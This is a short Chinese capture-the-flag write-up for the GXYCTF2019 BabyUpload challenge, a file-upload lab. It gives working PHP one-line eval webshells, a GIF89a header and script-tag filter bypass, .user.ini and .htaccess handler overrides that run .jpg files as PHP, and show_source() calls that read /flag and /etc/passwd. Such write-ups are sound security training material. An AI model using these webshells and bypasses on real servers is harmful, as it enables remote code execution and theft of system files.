BUUCTF——[GXYCTF2019]BabyUpload
1.上传嘛,直接丢正常的jpg文件进服务器

2.发现可以正常上传,并且回显出来啦文件上传的路径
/var/www/html/upload/7df22610744ec51e9cb7a8a8eb674374/1111.jpg
3.尝试上传一句话木马
<?php @eval($POST[123456]);?>

4.通过上面的回显可以看出来,检测到了php文件,尝试文件头进行绕过
GIF89a
<?php @eval($POST[123456]);?>

5.还是不得行,推测使用了<?php标签进行检测,尝试绕过
GIF89a
<script language="php">eval($_REQUEST[8])</script>

6.发现可以成功上传,尝试修改后缀名php,php3,php5,phtml

7.发现后缀名不能有ph,中间还尝试php%00,发现php版本过高不得行,发现可以上传.user.ini,尝试.user.ini绕过
auto_prepend_file=555.jpg

8.发现是可以上传的,但是呢无法解析,后面试了.htaccess发现可以,使用.htaccess可以成功getshell
.htaccess文件内容
SetHandler application/x-httpd-php

9.上传文件,文件内容为
GIF89a
<script language="php">eval($_REQUEST[8])</script>

10.成功getshell

11.蚁剑死活连接不上,太致命啦,重启了靶机,重新上传.htaccess
<FilesMatch "jpg">SetHandler application/x-httpd-php</FilesMatch>

12.重新上传木马文件,还是连接不上
GIF89a
<script language="php">eval($_REQUEST[8])</script>

13.通过报错信息,发现禁用了系统函数

14.只能另辟蹊径啦,使用其他函数
show_source()函数
8=show_source('/flag',false);

15.成功读取文件信息
8=show_source('/etc/passwd',false);

